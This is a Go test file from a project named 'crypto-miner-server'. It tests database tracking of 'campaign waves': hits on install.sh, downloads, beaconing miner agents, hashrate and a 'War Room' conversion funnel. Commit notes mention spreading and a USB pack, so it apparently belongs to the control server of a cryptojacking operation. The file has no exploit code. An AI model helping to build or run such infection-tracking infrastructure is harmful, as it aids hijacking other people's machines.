Files
AetherForge/server/internal/db/campaign_test.go
AetherForge a32860b0d9
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
feat: alive UI wave, galaxy presence, spread and fleet enhancements
Dashboard ambient layer, comrade presence, Mission Deck and War Room, Emberwake supply chain, spread/docs publishing, fleet policy and modules API, CI docker mining, and refreshed USB pack.
2026-06-04 22:36:17 -07:00

88 lines
2.3 KiB
Go

package db
import (
"testing"
"time"
"crypto-miner-server/internal/models"
)
func TestLogCampaignHitAndPublicBuilds(t *testing.T) {
d := openTestDB(t)
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventPageHit, "install.sh", "10.0.0.1", "curl"); err != nil {
t.Fatal(err)
}
if err := d.LogCampaignEvent("wave-a", "b1", CampaignEventDownload, "get", "10.0.0.2", "curl"); err != nil {
t.Fatal(err)
}
hits, err := d.ListCampaignHits(10)
if err != nil || len(hits) != 1 || hits[0].Campaign != "wave-a" || hits[0].Count != 2 {
t.Fatalf("hits=%v err=%v", hits, err)
}
war, err := d.ListWarRoom(7)
if err != nil {
t.Fatal(err)
}
if len(war.Campaigns) != 1 {
t.Fatalf("war room campaigns=%v", war.Campaigns)
}
c := war.Campaigns[0]
if c.Hits != 1 || c.Downloads != 1 {
t.Fatalf("funnel hits=%d downloads=%d", c.Hits, c.Downloads)
}
a := &models.Agent{
ID: "ag-1", Name: "w1", Wallet: "w", IP: "10.0.0.3", Version: "1",
Status: "online", CPUCores: 4, MemoryGB: 8, LastSeen: time.Now(),
Campaign: "wave-a", Hashrate15m: 1200,
}
if err := d.UpsertAgent(a); err != nil {
t.Fatal(err)
}
_ = d.UpdateAgentStats("ag-1", 0, 0, 1200, 0, 0, 0, 0, 0, 0)
war, err = d.ListWarRoom(7)
if err != nil {
t.Fatal(err)
}
c = war.Campaigns[0]
if c.Agents != 1 || c.FirstBeacon != 1 || c.Mining != 1 || c.Online != 1 || c.Hashrate != 1200 {
t.Fatalf("agents=%d beacon=%d mining=%d online=%d hashrate=%v",
c.Agents, c.FirstBeacon, c.Mining, c.Online, c.Hashrate)
}
if c.ConversionPct != 100 {
t.Fatalf("conversion=%v want 100", c.ConversionPct)
}
b1 := &models.BuildRecord{
ID: "b1", WorkerName: "w1", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "linux", CreatedAt: time.Now(),
}
b2 := &models.BuildRecord{
ID: "b2", WorkerName: "w2", ServerURL: "http://x", Wallet: "w",
Threads: 1, Platform: "windows", CreatedAt: time.Now().Add(time.Second),
}
_ = d.InsertBuild(b1)
_ = d.InsertBuild(b2)
_ = d.SetBuildPublic("b1", true)
pub, err := d.ListPublicBuilds(false, 1)
if err != nil {
t.Fatal(err)
}
ids := map[string]bool{}
for _, b := range pub {
ids[b.ID] = true
}
if !ids["b1"] || !ids["b2"] {
t.Fatalf("expected public b1 and latest b2, got %v", ids)
}
ok, err := d.IsBuildPubliclyDownloadable("b2", false, 1)
if err != nil || !ok {
t.Fatalf("latest build should be public ok=%v err=%v", ok, err)
}
}